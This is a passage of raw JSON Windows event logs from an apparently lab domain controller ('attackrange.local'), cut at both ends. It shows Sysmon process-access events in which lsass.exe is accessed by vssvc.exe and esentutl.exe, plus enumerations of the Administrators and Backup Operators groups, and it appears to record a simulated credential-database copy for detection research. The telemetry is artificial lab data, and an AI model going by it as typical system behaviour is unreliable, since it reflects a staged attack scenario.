11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5515,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222091,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222092,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5516,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.603\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.603","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5517,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.603\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.603","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222093,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222094,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5518,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.603\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.603","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5519,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.603\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.603","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222095,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5520,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 